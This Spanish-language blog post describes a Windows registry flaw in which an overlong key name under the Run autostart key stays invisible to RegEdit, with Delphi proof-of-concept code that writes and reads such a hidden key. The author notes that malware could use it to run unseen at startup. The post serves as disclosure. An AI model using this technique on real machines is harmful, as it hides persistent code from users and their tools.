Una seria falla en el registro de Windows

Sucede que a veces uno se topa con problemas mas grandes de lo que se imagina.

Investigando sobre un fallo reportado en Secunia en Agosto, nunca sospeche que el problema era más serio de lo que pensaba.

Esencialmente, la falla permite excribir una entrada (key) en el registry que no es visible para las herramientas como Microsoft RegEdit.

Como se muestra en la imagen, pude crear una entrada oculta en el registry:

Resulta que debajo de Optional hay una llave cuyo nombre consiste de 256 X seguidas.

El siguiente código en Delphi, permite explicar el fallo:

    procedure TestRegistryFlaw;
    var
        I: Integer;
        reg : TRegistry;
        key : string;
    begin
        reg := TRegistry.Create;
        key := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Optional\';
        try
            for I := 0 to 255 do    // Iterate
                key := key + 'X';
            reg.RootKey := HKEY_LOCAL_MACHINE;
            if reg.OpenKey(key, true) then
            begin
                ShowMessage('trying to hack');
                reg.WriteString('TestFlaw', 'This is hacked registry key');
                ShowMessage('hacked!!!');
            end;
        finally
            reg.Free;
        end;
    end;

    procedure CheckRegistryFlaw;
    var
        I: Integer;
        reg : TRegistry;
        key : string;
    begin
        reg := TRegistry.Create;
        key := 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Optional\';
        try
            reg.RootKey := HKEY_LOCAL_MACHINE;
            for I := 0 to 255 do    // Iterate
                key := key + 'X';
            if reg.OpenKey(key, false) then
            ShowMessage(reg.ReadString('TestFlaw'));
        finally
            reg.Free;
        end;
    end;

Lo que tenemos aquí es que hemos creado una entrada que no es visible por regedit y otros utilitarios de Windows.

Pero lo peor, es que en Microsoft.Net este código no puede ser creado, porque la Clase RegistryKey hace un chequeo, levantando una excepción si uno trata de escribir una llave de largo mayor que 255.

En suma, lo que hacen en Microsoft.Net es ocultar el bug debajo de la alfombra.

Pero, ¿cual es el problema con esto? es que uno puede escribir código en la llave Run de Windows, con lo que se haceposible ocultar virus o malware de cualquier tipo, para ser ejecutado en cuanto se inicia Windows, y usted no podrá verlo, porque las herramientas de Windows no le dan la posibilidad de revisar este código malicioso.

Es posible escribir código en C# o C++ que hace lo mismo que el código Delphi que escribí más arriba. Sugiero ver mi post en DarkSideProgramming: Hidding a Flaw.

Pero lo interesante, es que algunos programadores en CodeProject han descubierto que, al menos en Windows XP conSP2 la falla es más seria !

Autor

Ingeniero, autor, emprendedor y apasionado programador. Mantengo este blog desde 2005.

comments powered by Disqus
Siguiente
Anterior

¿Te gustó?

Puedes apoyar mi trabajo en Patreon:

O puedes apoyarme con un café.